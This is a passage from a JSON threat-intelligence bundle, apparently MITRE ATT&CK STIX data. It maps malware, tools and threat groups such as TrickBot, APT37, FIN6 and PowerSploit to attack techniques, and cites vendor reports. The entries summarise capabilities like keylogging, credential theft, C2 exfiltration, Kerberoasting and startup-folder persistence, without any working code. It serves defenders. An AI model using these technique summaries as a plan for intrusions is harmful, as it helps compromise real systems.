                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 DarkHydrus July 2018"
                }
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-03-18T20:03:52.989Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e882b88e-7731-4bee-a644-c02f9aff2306",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses HTTPS to communicate with its C2 servers, to get malware updates, modules that perform most of the malware logic and various configuration files.(Citation: S2 Grupo TrickBot June 2017)(Citation: Cyberreason Anchor December 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                },
                {
                    "source_name": "Cyberreason Anchor December 2019",
                    "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware",
                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-09-11T13:27:44.523Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--907df22e-fdfe-4b93-8b18-ebf66f83868c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[S-Type](https://attack.mitre.org/software/S0085) may create the file <code>%HOMEPATH%\\Start Menu\\Programs\\Startup\\Realtek {Unique Identifier}.lnk</code>, which points to the malicious msdtc.exe file already created in the %CommonFiles% directory.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2020-03-17T02:29:42.524Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2cfa6113-1995-494a-b767-61d3f371e0ea",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the group name of the logged-in user and sends it to the C2.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "type": "relationship",
            "modified": "2020-03-18T23:13:31.476Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3ae56775-2a8a-45f1-a2c0-d37f61cfb3e9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) credential stealer ZUMKONG emails credentials from the victim using HTTP POST requests.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.653Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--f4ab77d2-1227-46ac-a4be-f8078072dac7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) compromised user credentials and used valid accounts for operations.(Citation: US-CERT TA18-074A)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.451Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b1c49faa-0b6f-4a0e-85da-5ab8ddeab2ce",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.(Citation: FireEye FIN6 April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                }
            ],
            "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2019-06-28T14:59:17.705Z",
            "created": "2017-05-31T21:33:27.071Z"
        },
        {
            "id": "relationship--7f695d14-17e1-46c6-92eb-7c2f57fc6553",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware KiloAlfa contains keylogging functionality.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Tools)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.",
                    "source_name": "Novetta Blockbuster Tools"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T20:11:14.566Z",
            "created": "2017-05-31T21:33:27.068Z"
        },
        {
            "id": "relationship--72f5ca9f-6b0e-4051-b2ae-da1b59e6ed2b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can scan for open TCP ports on the target network.(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2020-03-16T16:55:04.391Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1e03e95c-1c9a-4fa8-9d6d-b5d244b06509",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) collects data from the clipboard.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                },
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2020-06-16T20:51:13.652Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8336111f-565e-4294-8b18-182c26da2421",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OSInfo](https://attack.mitre.org/software/S0165) enumerates the current network connections similar to <code> net use </code>.(Citation: Symantec Buckeye)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
                }
            ],
            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2020-03-18T20:19:35.788Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--17af5c1a-7912-40af-b7b9-f68f0a15977d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can spawn svchost.exe and inject the payload into that process.(Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/",
                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "source_name": "Nccgroup Emissary Panda May 2018"
                },
                {
                    "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/",
                    "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.",
                    "source_name": "Securelist LuckyMouse June 2018"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
            "type": "relationship",
            "modified": "2021-03-29T19:43:26.753Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--152f2412-dbba-48b7-bbe9-612798f3ac23",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bisonal](https://attack.mitre.org/software/S0268) deletes its dropper and VBS scripts from the victim\u2019s machine.(Citation: Unit 42 Bisonal July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Bisonal July 2018",
                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
                }
            ],
            "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T00:24:48.179Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--cb297293-d9bb-484a-a9fb-b7b09477d38f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) exfiltrates data over its C2 channel.(Citation: McAfee Bankshot)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Bankshot",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "type": "relationship",
            "modified": "2020-02-18T03:40:29.876Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c6c3192b-f541-4f19-b7b9-f2ad026c8ffb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) can sleep for a specific time and be set to communicate at specific intervals.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.662Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--49c17cdc-72a5-442d-b153-2cc9f9cf059d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Chaos](https://attack.mitre.org/software/S0220) conducts brute force attacks against SSH services to gain initial access.(Citation: Chaos Stolen Backdoor)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Chaos Stolen Backdoor",
                    "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.",
                    "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"
                }
            ],
            "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "type": "relationship",
            "modified": "2019-05-10T18:57:53.145Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--33162cc2-a800-4d42-89bb-13ac1e75dfce",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sakula](https://attack.mitre.org/software/S0074) has the capability to download files.(Citation: Dell Sakula)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell Sakula",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
                }
            ],
            "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T02:29:53.409Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--145ffef4-5a63-41d7-ac74-e034e9b9622d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PUNCHTRACK](https://attack.mitre.org/software/S0197) scrapes memory for properly formatted payment card data.(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Fin8 May 2016",
                    "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"
                },
                {
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
                }
            ],
            "source_ref": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2020-03-17T14:48:44.019Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--a67d4b9b-0c8f-41d8-a7f2-6d4c61fcb1ea",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[USBStealer](https://attack.mitre.org/software/S0136) mimics a legitimate Russian program called USB Disk Security.(Citation: ESET Sednit USBStealer 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                }
            ],
            "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T16:11:08.087Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1b27cec5-241a-4c2e-a3db-e9cea241496c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HTRAN](https://attack.mitre.org/software/S0040) can proxy TCP socket connections to obfuscate command and control infrastructure.(Citation: Operation Quantum Entanglement)(Citation: NCSC Joint Report Public Tools)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf",
                    "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.",
                    "source_name": "Operation Quantum Entanglement"
                },
                {
                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
                    "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools",
                    "source_name": "NCSC Joint Report Public Tools"
                }
            ],
            "source_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "type": "relationship",
            "modified": "2021-01-25T15:43:45.770Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1dc42b4c-4a93-4fc6-bad3-b5498ad500b1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) can perform pass the hash.(Citation: Mandiant APT1)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--a52edc76-328d-4596-85e7-d56ef5a9eb69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e"
        },
        {
            "id": "relationship--4f2fb45a-8359-4c75-93ae-095fcf9f856e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) can capture desktop screenshots in the PNG format and send them to the C2 server.(Citation: FireEye APT10 Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                }
            ],
            "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-17T02:46:42.618Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--aaa0e944-7158-4baa-b45b-c687f7b161b5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Invoke-Kerberoast</code> module can request service tickets and return crackable ticket hashes.(Citation: PowerSploit Invoke Kerberoast)(Citation: Harmj0y Kerberoast Nov 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/",
                    "description": "Schroeder, W. & Hart M. (2016, October 31). Invoke-Kerberoast. Retrieved March 23, 2018.",
                    "source_name": "PowerSploit Invoke Kerberoast"
                },
                {
                    "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/",
                    "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.",
                    "source_name": "Harmj0y Kerberoast Nov 2016"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee",
            "type": "relationship",
            "modified": "2020-03-18T20:30:29.799Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--f32828b5-ab55-4bf5-af89-1d6e42d559b0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POORAIM](https://attack.mitre.org/software/S0216) has been delivered through compromised sites acting as watering holes.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "type": "relationship",
            "modified": "2020-03-20T21:24:11.200Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--385f57f4-87b6-4126-ab67-531e482ec9bc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Regin](https://attack.mitre.org/software/S0019) contains a keylogger.(Citation: Kaspersky Regin)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Regin",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
                }
            ],
            "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-06-29T01:54:53.318Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--45f9e4b6-a6a0-4f9f-aae9-9e8a69f5681d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain a list of smart card readers attached to the victim.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                },
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "type": "relationship",
            "modified": "2020-06-16T20:51:13.669Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f0b6fe64-e138-42c9-9cc7-896467dc26f8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Umbreon](https://attack.mitre.org/software/S0221) creates valid local users to provide access to the system.(Citation: Umbreon Trend Micro)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
